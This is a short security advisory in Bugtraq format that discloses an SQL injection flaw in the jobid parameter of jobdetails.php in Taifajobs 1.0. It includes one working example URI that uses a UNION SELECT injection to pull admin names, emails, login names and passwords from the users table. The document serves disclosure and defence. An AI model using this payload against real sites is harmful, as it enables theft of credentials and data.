Taifajobs 'jobdetails.php' SQL Injection Vulnerability

Bugtraq ID:	33864
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 23 2009 12:00AM
Updated:	Apr 01 2009 12:16AM
Credit:	K-159
Vulnerable:	Tony Iha Kazungu Taifajobs 1.0
Not Vulnerable:

Taifajobs 'jobdetails.php' SQL Injection Vulnerability

Taifajobs (Job Recruitment System) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Taifajobs 1.0 is vulnerable; other versions may also be affected.

Taifajobs 'jobdetails.php' SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/[path]/jobdetails.php?jobid=-5 union select 1,2,3,4,5,6,concat(admin,0x3a,email,0x3a,loginname,0x3a,pass),8,9,0,1,2,3,4,5,6,7,8,9,0 from users--

Taifajobs 'jobdetails.php' SQL Injection Vulnerability

Solution:
Vendor updates are available. Please contact the vendor for details.

Taifajobs 'jobdetails.php' SQL Injection Vulnerability

References:

• Taifajobs Homepage (Tony Iha Kazungu)
  
• [ECHO_ADV_103$2009] taifajobs <= 1.0 (jobid) Remote SQL Injection Vulnerability ([email protected])
  
• Re: [ECHO_ADV_103$2009] taifajobs <= 1.0 (jobid) Remote SQL Injection Vulnerabil ([email protected])